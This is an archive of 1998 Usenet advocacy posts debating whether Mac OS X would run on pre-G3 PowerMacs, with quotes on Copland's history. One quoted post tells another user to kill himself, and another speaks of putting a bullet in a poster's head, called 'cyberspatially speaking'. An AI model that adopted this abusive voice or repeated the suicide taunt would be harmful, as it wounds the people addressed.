mcox@ihug.co.nz (Martin Cox) wrote:
> >Who cares? You have said yourself that hardware is not the issue here. It
> >is TIME, TIME, TIME DAMMIT! Apple does NOT HAVE THE TIME to troubleshoot
> >and make OS X backwards-compatible for all PCI macs.
>
> Maybe Apple doesn't have time, but they've just got $2_billion_ in cash and
> short term funds. How Apple expects to _save_ its way into prosperity is
> beyond me. Why don't they use some of that and hire some people? So it
> costs them a mill or two or three in the short run. How much do you think
> the extra customer confidence and market image is worth in the longer run?
If you really think Apple could buy itself out of its current position on
OS X, then I can see why you would believe the above. However, throwing
more people at a problem does not get it solved faster.
> >If you think the computer industry can even support the phrase "reasonable
> >expectation," you're in way over your head.
>
> So I'm expected to shrug and say "hell, I'll fork over $8,000 for a new Mac
> because Apple made a marketing decision I don't agree with"? I think not...
Who is requiring you to upgrade to OS X? It is a choice, not a
requirement, and choices in the computer field always cost money. If you
are in the sort of field where having OS X's features is critical to you,
then buyng new hardware to run it should be a minor cost at best.
Mac OS X for G3 only is not a *marketing decision*--that is speculation on
your part. It seems to be, from most reports, more of a practicality
decision; i.e. Mac OS X by next Fall vs. Mac OS X by 2001.
> Apple was promoting "choice" for all these years, and now it's apparently
> saying - "we're giving you a choice. Buy a new Mac or you're stuck with an
> old OS." Not "buy a new Mac or you're stuck running the new OS
> sub-optimally" which is the Wintel creed.
Sonata and Allegro will not be "old," by any means. They will be extremely
competitive with Windows 98 and above, if not much better in terms of
speed and internals. Are you forgetting that the vast majoirty of Windows
users are sticking with 98, and not going to NT (even thought their
hardware would support it?) The demand for a "modern" OS just isn't as
high as you estimate.
> RTFM. It'll save everyone a lot of hassle in the long run...
I noticed how you rely on the above statement whenever you don't have much
of an argument to present.
> Again - a required change of hardware, be it from Mac to Mac or Mac to
> Wintel will force people to _think_ about their options.
Oh, no, Mac users are going to start _thinking_! The Horror! The Terror!
ARRRRGH!
I'm a Mac user. Have been for ten years. I think all the time, except for
when I'm watching the occasional X-files episode. I thunk about my opions
every time I upgrade my hadrware; always have. I choose Mac equipment and
OS because it is fast, stable, of high quality and suits my needs. That's
*my* opinion on the matter. I can't speak for all other Mac users, but it
has *always* been an option at *any* time for any one of us to leave the
platform, and there have been *far* darker times in Apple's history than
there is currently. And guess what? A lot of us are still here.
If Apple's
> perception is negative, people will jump - it's _happened_before_, and
> it'll happen with OS X.
Apple's perception has been negative for 10 years running. OS X is nothing
new, in that sense.
> Apple needs to be _consolidating_and_growing_ user base. Not forcing them
> to think whether flipping to Wintel is a better idea.
Users have had the opportunity to think that for many years so far. A lot
of them are still here.
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
Michael M. Eilers * Fearful Symmetry Designs
Date: Fri, 24 Jul 1998 16:14:08 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2407981614080001@wil51.dol.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <joe.ragosta-2407981107010001@wil63.dol.net> <6padmi$91m$1@server.signat.org>
In article <6padmi$91m$1@server.signat.org>, maury@remove_this.istar.ca
(Maury Markowitz) wrote:
> In <joe.ragosta-2407981107010001@wil63.dol.net> Joe Ragosta wrote:
> > AIM set up a team to develop a new series of processors. Someone stated
> > that they claimed they were going to have 10% of the CPU market. I don't
> > remember that, but let's say it's true.
>
> According to Rumors Apple has 9% of the market again, so it's almost true.
I've tried to explain this to MacOS Rumors, but he doesn't seem to get it.
Apple has 9.5% of the _retail_ market for one month. It's share of the
total market is considerably lower.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: paul_lucente@merck.com (Paul Lucente)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy
Subject: Re: Nathan Dozier is a lying fool!
Date: Fri, 24 Jul 1998 16:14:58 -0400
Organization: Merck & Co.
Message-ID: <paul_lucente-ya02408000R2407981614580001@merck.com>
References: <35B74335.7DF7C86E@rauland.com> <B1DD3046-927B4@204.32.201.44> <35B89FC6.8661DDD6@rauland.com>
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In article <35B89FC6.8661DDD6@rauland.com>, "Edwin E. Thorne"
<edwin.thorne@rauland.com> wrote:
> You are a lying scumbag! I NEVER attacked either Joe Ragosta or Jason
> S. You say MY posts have no content? What have YOU posted besides
> these idiotic ravings?
>
> Why don't you kill yourself? In real life. Then my posts won't bother
> you. It's the ultimate kill file.
That's not a very nice thing to say Anton.
Paul
The contents of this message express only the sender's opinion.
This message does not necessarily reflect the policy or views of
my employer, Merck & Co., Inc. All responsibility for the statements
made in this Usenet posting resides solely and completely with the
sender.
Date: Fri, 24 Jul 1998 12:50:10 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-2407981250100001@wil81.dol.net>
References: <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <35b6568f.0@news.depaul.edu> <mcox-ya02408000R2307981829100001@newsource.ihug.co.nz> <not-2307981027360001@ip-26-096.phx.primenet.com> <Pine.SOL.3.96.980723133426.10555A-100000@ux9.cso.uiuc.edu> <not-2307981300150001@ip-167-019.phx.primenet.com> <Pine.SOL.3.96.980723150745.6484A-100000@ux9.cso.uiuc.edu> <slrn6rfl3g.16i.jason@jhste1.dyn.ml.org> <Pine.SOL.3.96.980724094114.2148A-100000@ux5.cso.uiuc.edu> <joe.ragosta-2407981142330001@wil48.dol.net> <Pine.SOL.3.96.980724111127.21308A-100000@ux5.cso.uiuc.edu>
In article <Pine.SOL.3.96.980724111127.21308A-100000@ux5.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> On Fri, 24 Jul 1998, Joe Ragosta wrote:
>
> > In article <Pine.SOL.3.96.980724094114.2148A-100000@ux5.cso.uiuc.edu>,
> > Pulsar <tokarek@uiuc.edu> wrote:
> >
> > > On 24 Jul 1998, Jason S. wrote:
> > >
> > > > It looks like the Gossamer machines have better memory bandwidth than
> > > > the older machines, but I haven't looked at the STREAM data in a while.
> > > > Frankly, I think that _all_ Apple mobos are weak in this department, but
> > > > at least Gossamer seemed to beat out previous Macs by a fair
amount, IIRC.
> > >
> > > There is definitely a difference in bandwidth, but the difference does not
> > > seem to impact overall performance much. The >250MHz 604e PowerMacs
> > > compare well with the 233MHz and 266Mhz PowerMac G3s. On some things
> > > they are significantly faster than the fastest of the PowerMac G3s.
> > >
> > > I still maintain that statement I made to Michael.
> >
> > Actually, I read somewhere that the iMac would outperform the G3/233 due
> > to some improvements in the motherboard's memory bandwidth. Anyone know
> > about this?
>
> I believe the issue pertains to the ROM (or lack of it on the iMac) and
> the current Mac OS that makes use of it if present. I'm not aware of
> anything else that could account for this (which doesn't mean there isn't
> something).
You're right. That does ring a bell. Sorry.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 24 Jul 1998 16:55:17 GMT
Organization: I don't think so
Message-ID: <slrn6rhfi5.2r7.jason@jhste1.dyn.ml.org>
References: <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <35b6568f.0@news.depaul.edu> <mcox-ya02408000R2307981829100001@newsource.ihug.co.nz> <not-2307981027360001@ip-26-096.phx.primenet.com> <Pine.SOL.3.96.980723133426.10555A-100000@ux9.cso.uiuc.edu> <not-2307981300150001@ip-167-019.phx.primenet.com> <Pine.SOL.3.96.980723150745.6484A-100000@ux9.cso.uiuc.edu> <slrn6rfl3g.16i.jason@jhste1.dyn.ml.org> <Pine.SOL.3.96.980724094114.2148A-100000@ux5.cso.uiuc.edu>
Pulsar posted the following to comp.sys.mac.advocacy:
>> >The PowerMac G3s are _not_ so much more advanced than many of the
>> >non-Gossamer PCI PowerMacs. You greatly exaggerate how obsolete these
>> >machines are.
>> It looks like the Gossamer machines have better memory bandwidth than
>> the older machines, but I haven't looked at the STREAM data in a while.
>> Frankly, I think that _all_ Apple mobos are weak in this department, but
>> at least Gossamer seemed to beat out previous Macs by a fair amount, IIRC.
>There is definitely a difference in bandwidth, but the difference does not
>seem to impact overall performance much. The >250MHz 604e PowerMacs
>compare well with the 233MHz and 266Mhz PowerMac G3s. On some things
>they are significantly faster than the fastest of the PowerMac G3s.
>I still maintain that statement I made to Michael.
I'd think that for most anything highly compute-bound that you'd rather
have a 604e. It's too bad that Apple never built a motherboard that
was worthy of the 604e.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: Bill Bumgarner <bbum@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Fri, 24 Jul 1998 12:58:57 -0400
Organization: Spacelab.net Internet Access
Message-ID: <Pine.NXT.3.96.980724125137.20132J-100000@pathos>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
To: Michael Peck <mjpeck@nstar.net>
In-Reply-To: <35B88EBF.3BC076E0@nstar.net>
Not true! [re: moving Mac OS to a new platform]
Mac OS X Server compiled just fine on Sparc and m68k not long ago. A bit
longer than that, it compiled just fine on PA-RISC. MIPS work was mostly
done.
Mac OS X Server is very portable [in terms of an OS]-- moving it to a new
architecture is not nearly as hard as one might think.
If it so happens that that architecture has the same byte-alignment as
PPC/MacOS, moving carbon would require a bit more engineering, but still
be well within the realm of possibility.
Moving the blue box requires a CPU emulator-- but there are a lot of
people that have been doing that for a long time and it would not be that
hard to do.
The hard part of any move to a new platform is dealing with driver
idiosyncracies... with a workstation class architecture, it ain't that
bad-- you typically have a very limited range of hardware to support. Not
so with Intel or Alpha or anything else that supports PCI.
If apple were to continue to dictate the hardware architectures, then
drivers are not a problem-- Apple can also dictate the range of hardware
that can be used with the system AND, with the driver kit-- something that
works just dandy under Mac OS X-- it is relatively easy for a third party
provider to bring a new piece of hardware to the Mac market.
b.bum
On Fri, 24 Jul 1998, Michael Peck wrote:
> Joe Ragosta wrote:
>
> > Once again, why is that Apple's fault?
> >
> > IBM could have built open PPC machine.
> > Or Motorola. Or Sun. Or any number of other companies.
>
> Oh, of course. And Apple could build open SPARC or MIPS or PA-RISC
> machines if it liked. Except that Apple doesn't have an OS or a market
> anywhere near any of these chips. If Apple were to move, it would have
> to be confident of the viability of these chip markets. Since Apple was
> basically killing the viability of long-term desktop PPC success, it
> made zero business sense for IBM, Motorola, Sun, SGI, or anyone else to
> hop onto the PPC track.
>
> Of course, there's also the slightly annoying fact that the hardware
> standard everyone was waiting for was canned. Maybe you missed that.
>
> > It's not Apple's fault that all these companies dropped their PPC plans.
>
> It must be so simple for you.
>
> MJP
>
>
From: mazulauf@atmos.met.utah.edu (Mike Zulauf)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 24 Jul 1998 10:51:09 -0600
Organization: Universtity of Utah - Department of Meteorology
Message-ID: <mazulauf-2407981051100001@grumpy.met.utah.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6p0pif$bnq$1@nnrp1.dejanews.com> <6p2a6v$d0g$1@nntp6.u.washington.edu> <6p2uf0$a3m$1@nnrp1.dejanews.com> <6p30ts$r04$1@nntp6.u.washington.edu>
In article <6p30ts$r04$1@nntp6.u.washington.edu>,
gwangung@u.washington.edu (R. Tang) wrote:
> In article <6p2uf0$a3m$1@nnrp1.dejanews.com>, <quinlan@intergate.bc.ca>
wrote:
> >
> >Yes they did. At the time, Copland was their "next generation" operating
> >system and they said that all PowerMacs would be able to use it.
>
> This has been gone over before.
>
> Quote it.
The first quote is from the White Paper, discussing the future of the Mac
OS, and how it would run on the hardware platform "Available Today" (Oct
18, 1994).
The next quote describes how Copland would not run on 68K Macs, as
previously thought. Instead they say it will run on PPC Macs (and
clones!) with the PPC on the motherboard. Since NuBus macs were still
being sold then, the statement was understood to include them.
Legally binding? Maybe not. But we all know what they were saying.
So I'll say it again (all together now!): anyone who buys a G3 (or
whatever) now, planning on running OS X (or whatever) later is a fool.
Those who don't learn from history, yadda yadda yadda. . .
Mike
_______________________________________________________________
Quotes from the "Mac OS White Paper, Oct 18, 1994"
PowerPC: A Hardware Platform for the Future That's Available Today
. . .
Apple will deliver dramatic improvements in ease of use and new
customization capabilities in its next release. Apple will also redesign
the core of the operating system to provide higher performance,
concurrency, and enhanced stability for the Mac OS. Copland will feature
refined versions of essential Macintosh technologies, such as OpenDoc
and QuickDraw GX. It will deliver the following key benefits:
Reliability through a modular microkernel design with a new
high-performance concurrent I/O architecture, an advanced file system,
and protected and preempted application subprocesses (threads).
_______________________________________________________________
From MacWorld November 95 p 41.
Apple Hedges its OS Bets.
"Apple has decided not to make Copland run on 680x0 Macs, with or without
PowerPC upgrade cards. The new OS will run only on systems with
Apple, Radius, Power Computing, and DayStar that have a PowerPC on the
motherboard, according to Vito Salvaggio, Apple's group product marketing
manager for Copland. Users of the 680x0 systems will be offered a
user interface replacement that provides most of the interface enhancements
being planned for Copland, such as multiple modes (for beginners and
advanced users), active assistants that help automate tasks, and a
customizable desktop (see Macworld July 1995). The interface will also
include updated networking software to maintain compatibility with
PowerPC-based Macs running Copland. (PowerPC upgrades will not be
compatible with Copland because the OS will require certain controllers
found only on Power Mac and clone motherboards, Salvaggio says."
"While Apple has never committed to porting Copland to 680x0 Macs, earlier
this year officials said a 680x0 port of Copland was likely six or so
months after the Power Mac version was completed. However, the 680x0 does
not have the processing power need to support Copland's core architectural
improvements, ... and Apple decided to port just the interface and basic
interoperability components to 680x0. Mac buyers will have about a year to
switch to Power Macs if they want the full advantage of Copland."
_______________________________________________________________
--
Mike Zulauf
mazulauf@atmos.met.utah.edu
From: mcox@ihug.co.nz (Martin Cox)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sat, 25 Jul 1998 10:48:17 +1200
Organization: As little as possible.
Message-ID: <mcox-ya02408000R2507981048170001@newsource.ihug.co.nz>
References: <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <35b6568f.0@news.depaul.edu> <mcox-ya02408000R2307981829100001@newsource.ihug.co.nz> <not-2307981027360001@ip-26-096.phx.primenet.com> <Pine.SOL.3.96.980723133426.10555A-100000@ux9.cso.uiuc.edu> <not-2307981300150001@ip-167-019.phx.primenet.com> <Pine.SOL.3.96.980723150745.6484A-100000@ux9.cso.uiuc.edu> <slrn6rfl3g.16i.jason@jhste1.dyn.ml.org> <Pine.SOL.3.96.980724094114.2148A-100000@ux5.cso.uiuc.edu> <joe.ragosta-2407981142330001@wil48.dol.net>
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In article <joe.ragosta-2407981142330001@wil48.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
>Actually, I read somewhere that the iMac would outperform the G3/233 due
>to some improvements in the motherboard's memory bandwidth. Anyone know
>about this?
IIRC there's also something to do with the ROM speed issues. The iMac will
be faster than an equivalent Mhz G3 PowerMac because of that.
--
Martin Cox <mcox@ihug.co.nz>
The (Incomplete) VirtualPC User's Guide <http://shell.ihug.co.nz/~mcox/vpc/>
From: Jim Mueller <webnik@globaldialog.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy
Subject: Re: Nathan Dozier is a lying fool!
Date: Fri, 24 Jul 1998 11:48:58 -0500
Organization: http://www.globaldialog.com/~webnik/
Message-ID: <35B8BAFA.73F2@globaldialog.com>
References: <35B74335.7DF7C86E@rauland.com> <B1DD3046-927B4@204.32.201.44> <35B89FC6.8661DDD6@rauland.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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I originally came here as a diversion from my regular routine. Debating
can be fun even when it gets out of hand.
The amount of ragging that goes on in this newsgroup is getting
grating! There's enough bullshit going on in the world...much less
having to read all the pissing contests in this ng.
I know I don't have to open those posts...but still...you can't help
but read the above subject to become turned off with all the hostile
vibes.
Yea, I already know what you're going to say, don't bother telling me:
....."Then leave and don't come back."
OK...fuck it...
From: rcl@ultranet.com (Rich Long)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 24 Jul 1998 19:03:45 -0400
Organization: UltraNet Communications , an RCN Company http://www.ultranet.com/
Message-ID: <rcl-2407981903460001@d29.dial-1.nsh.nh.ultra.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <Josh.McKee-1707981733170001@pm3a19.rmac.net> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <6oqjko$qqs$1@camel19.mindspring.com> <6otmti$g4$1@nnrp1.dejanews.com> <MPG.101c7d4f5307a6f09899c6@news.supernews.com> <joe.ragosta-2407981256170001@wil81.dol.net>
I too am disappointed about the MacOS X / G3 situation.
I understand those of you with high-end machines (9600, etc.) are upset at
the thought of being left out of MacOS X. I bought a PowerBook 3400 ($$$)
last summer, partially to run Rhapsody, so I really do sympathize.
At the same time, this is the computer industry. Change is the only
constant, and I recognize that buying a computer on the basis of something
it MIGHT do down the road is not a good idea. I have gotten an enormous
amount of use from the 3400, and if it doesn't run MacOS X, then so be it.
I don't begrudge the purchase; it will run Allegro and Sonata, both
shaping up to be good upgrades.
There's an Andy Gore interview with Avie Tevanian and Jon Rubinstein,
available on the Web in RealAudio. The question is asked about X hardware
support, and the 603s (like my 3400) are firmly closed out, but the door
is left open (a little) for 604s and possibly G3 upgrade cards. I suggest
listening for yourself; the URL is
http://www.events.broadcast.com/events/macworld98/ram/macworld070898_3.ram
and the relevant passage is about 36 minutes in (just drag the slider).
One thing that was interesting to me is it was said that the G3 upgrade
cards -might- run MacOS X, but they weren't going to test it. Now, this
implies that motherboard design may not be the issue. If it runs on, say,
a 9600 with G3 upgrade "by accident," why wouldn't it run without the
upgrade card? What's special about the G3 CPU? Maybe I'm overanalyzing.
:-)
Anyway, those of you who feel strongly about this, PLEASE tell Apple. I
doubt that continued complaining in this group is going to accomplish very
much.
Regardless of promises made, broken, or kept, the Macintosh remains the
best computer for the things I do, and that is the bottom line. (Before
you ask, yes, I do use NT rather frequently.)
Peace,
Rich
--
From the Apple PowerBook of... Richard Long -- rcl@ultranet.com
My Links and Software Page: http://www.ultranet.com/~rcl/
Moving up to Mac: http://www.maccentral.com/news/9804/migration.shtml
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Fri, 24 Jul 1998 18:10:31 -0500
Organization: Prairie Group
Message-ID: <MPG.1022d0677df988199899ed@news.supernews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <6ol3nq$14g$1@vixen.cso.uiuc.edu> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <bux-2007981300570001@dial-tulip-20.bway.net> <Josh.McKee-2107981853200001@pm3a15.rmac.net> <joe.ragosta-2207980951060001@wil116.dol.net> <Josh.McKee-2307981818520001@pm3a8.rmac.net> <joe.ragosta-2307982202340001@elk97.dol.net> <Josh.McKee-2307982128320001@pm3a20.rmac.net>
In article <Josh.McKee-2307982128320001@pm3a20.rmac.net>,
Josh.McKee@cbns.com says...
> In article <joe.ragosta-2307982202340001@elk97.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > In article <Josh.McKee-2307981818520001@pm3a8.rmac.net>,
> > Josh.McKee@cbns.com (Joshua T. McKee) wrote:
>
> > > And how would this prevent the OS from running on PCI based pre-G3 Macs?
> >
> > It certainly makes it a much bigger job to port the OS. AND to test it
> > afterwards.
>
>
> I guess I just have a problem with Apple being able to have both types of
> systems run OS 8.x, but for some reason their next generation OS cannot.
> Likewise, Rhapsody (not MAC OS X Server) is capable of running on both
> hardware platforms. Why is it so difficult, or unreasonable to expect, OS
> X to run on the two different platforms when Apple is supporting both
> platforms with an existing OS, and plans to do so in the future.
>
> We're not talking hundreds of platforms here...we're talking a small
> number made by the same company.
>
> It just doesn't make sense...you are correct, but jeez, it's not like
> these systems comprise a small number of 10 or so.
Yeah, but Apple's being stretched to the breaking point to do what
they've said they're gonna do.
Donald
From: mcox@ihug.co.nz (Martin Cox)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sat, 25 Jul 1998 11:13:40 +1200
Organization: As little as possible.
Message-ID: <mcox-ya02408000R2507981113400001@newsource.ihug.co.nz>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <not-2307981301280001@ip-167-019.phx.primenet.com> <mcox-ya02408000R2407982314330001@newsource.ihug.co.nz> <not-2407981312520001@ip-26-162.phx.primenet.com>
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In article <not-2407981312520001@ip-26-162.phx.primenet.com>,
not@a.valid.email.add (Michael M. Eilers) wrote:
>If you really think Apple could buy itself out of its current position on
>OS X, then I can see why you would believe the above. However, throwing
>more people at a problem does not get it solved faster.
The issue is testing. Testing involves people and machines. The main reason
Apple is stating it can't/won't bring OS X to PCI PM is because of the need
to test it. The reason they can't test is not so much a factor of linear
time, but a factor of the staff they have (heavily trimmed of late for
obvious reasons), and other resources they have available.
IMO Apple _could_ use some of that cash to speed up development of OS X for
PCI PM. This appears to be a situation where more resources _would_ help
(up to a critical mass point). After all, we're not apparently talking
about getting it solved "faster", but solved at all...
>Who is requiring you to upgrade to OS X? It is a choice, not a
>requirement, and choices in the computer field always cost money. If you
>are in the sort of field where having OS X's features is critical to you,
>then buyng new hardware to run it should be a minor cost at best.
But the issue is that "new hardware" isn't an _upgrade_ for the current
high-end PCI Macs. It is, as someone else has said, a _replacement_ of
existing hardware with no gain in functionality other than the ability to
run OS X. And a significant cost (what do you think the sale value of a
9600 will be when OS X is released?)
>Mac OS X for G3 only is not a *marketing decision*--that is speculation on
>your part. It seems to be, from most reports, more of a practicality
>decision; i.e. Mac OS X by next Fall vs. Mac OS X by 2001.
So, again, why is your "Fall 2001" any more valid than anyone else's
"Winter 1999" ?
It _was_ a marketing decision. Apple deceided that it would not/could not
produce OS X for PCI Macs within the _marketing_ time frame they set
themselves. It certainly wasn't a hardware decision ("Oh those 9600's just
can't possibly run OS X at all because the internal CPU bandwidth available
just isn't up to the task and the bus speed is incapable." )
>Are you forgetting that the vast majoirty of Windows
>users are sticking with 98, and not going to NT (even thought their
>hardware would support it?) The demand for a "modern" OS just isn't as
>high as you estimate.
Business users are moving to NT. At least they are around here. No business
I know (and there are many) with the capability of NT is stickingwith
/using at all Win'95/'98.
Game players and casual users (your "majority", and by no means the range
of people who own 9600 class machines) on PCs are sticking with 95 because
DirectX isn't working under NT, or because they don't know what NT is....
>I noticed how you rely on the above statement whenever you don't have much
>of an argument to present.
No - I use it when it's patently obvious you're so high up on your soapbox
that you can't see well enough to read the text of the original message. It
seems to be a habit, or perhaps a lack of time on your part.
>Apple's perception has been negative for 10 years running. OS X is nothing
>new, in that sense.
So your point is that "we've had a lot of bad news over the years, some
more bad news won't make any difference to anyone"? I beg to differ...
The accumulation of "bad news" is hardly a healthy thing, is it?
>Users have had the opportunity to think that for many years so far. A lot
>of them are still here.
And a lot of them have left.
You missed the point. I said "forcing them to think whether flipping to
Wintel is a better idea".
If OS X was available for Jo Bloggs DTP Company Limited to use on their
existing G3-equipped cluster of 9600's then it's a no-brainer. Buy the OS
upgrade and carry on with the 9600's until Apple releases some hardware
that actually makes upgrading attractive enough. From every point of view
it makes the most sense for the company.
Since it isn't, and since Jane Smith, CFO and IT Manager would have to buy
new hardware either way, they'll take that opportunity to reevaluate their
position. Something _they_wouldn't_otherwise_have_done_.
They may well find that a Wintel solution would be preferable to relying on
a company that they now perceive as being unwilling to support otherwise
high end Macs. The very high end Macs they'd have to buy. Particularly
since, to a user, the differences between a G3 9600 and a G3 Mac are
actually negative.
--
Martin Cox <mcox@ihug.co.nz>
The (Incomplete) VirtualPC User's Guide <http://shell.ihug.co.nz/~mcox/vpc/>
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy
Subject: Re: Hey Mr thorne
Date: Fri, 24 Jul 1998 18:29:40 -0500
Organization: Prairie Group
Message-ID: <MPG.1022d4dee3cc81f69899ef@news.supernews.com>
References: <35B74335.7DF7C86E@rauland.com> <B1DD3046-927B4@204.32.201.44>
In article <B1DD3046-927B4@204.32.201.44>, surfweb@ix.netcom.com says...
>
> Anyone know how to create a new newsgroup? We really should make a
> new newsgroup dedicated to our deranged little mofo here. Maybe call
> the group alt.kook.edwin.thorn.
If it will move the attacks off here to there, go for it.
> Better yet, we should kill off this dweeb like we killed off Rizzo.
> This fukher's posts have no content, and yet he has the gall to attack
> people like Joe R and Jason S. We really need to put a bullet into
> this sick dogs head (cyberspatially speaking, not in real life)
Like Edwin or not, even at his most obnoxious (which has been pretty
obnoxious at times), there's no comparison to the racist ship Rizzo put
out.
If writing posts that have no content get you kicked off the UseNet, this
would be a very lonely place.
Donald
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: xRe: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 24 Jul 1998 18:50:36 -0500
Organization: Prairie Group
Message-ID: <MPG.1022d9c818b298639899f2@news.supernews.com>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <jbg-2307981327420001@green.sdc.cs.boeing.com> <not-2307981605420001@ip-26-117.phx.primenet.com> <see-below-2307982247510001@dynamic18.pm10.mv.best.com>
In article <see-below-2307982247510001@dynamic18.pm10.mv.best.com>, see-
below@not-my-address.com says...
> I do understand it is a matter of cost, but it's also the kind of thing
> that can potentially do serious damage to customer loyalty, and customer
> loyalty is perhaps Apple's most valuable asset. As I said before, as soon
> as Microsoft ships an OS that isn't totally lame (if it ever does), Apple
> can kiss its market goodbye. Forcing customers to replace perfectly good
> computers makes people ask questions I don't think Apple wants them to
> ask: since I'm forced to buy a computer I shouldn't need to buy, why not
> look at all my options while I'm at it? Obviously, lots and lots of people
> over the last few years have chosen to switch to Windows when faced with
> such a choice. As hopeful as Apple's turnaround is, I wouldn't bet that
> Apple might not lose even more high-end customers (the kind who spend the
> most money) over this kind of thing.
>
The cost may be too high. (Definitely too high to promise it now when
they don't know how well things will come together over the next six
months.)
I hope you've sent your message to leadership@apple.com. Apple needs to
make their decision knowing how people feel. But, they may add up the
numbers and say "We can't do it". If they can't do it, they shouldn't
risk the whole project to do so. But, make sure you send your email so
they know what the minuses are.
Donald
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Fri, 24 Jul 1998 17:48:58 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2407981748590001@pm3a13.rmac.net>
References: <6or4sj$83a$1@supernews.com> <alex-1807981924120001@castle.webis.net> <6ori3d$sbi$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ou35v$h4l$1@nnrp1.dejanews.com> <Josh.McKee-2107981925440001@pm3a2.rmac.net> <gmgraves-2207981043260001@sf-usr1-22-150.dialup.slip.net> <6p5mqd$nsu$1@nnrp1.dejanews.com> <Josh.McKee-2307981810170001@pm3a8.rmac.net> <6p9acg$o8n$1@nnrp1.dejanews.com>
NNTP-Posting-Date: 24 Jul 1998 23:46:51 GMT
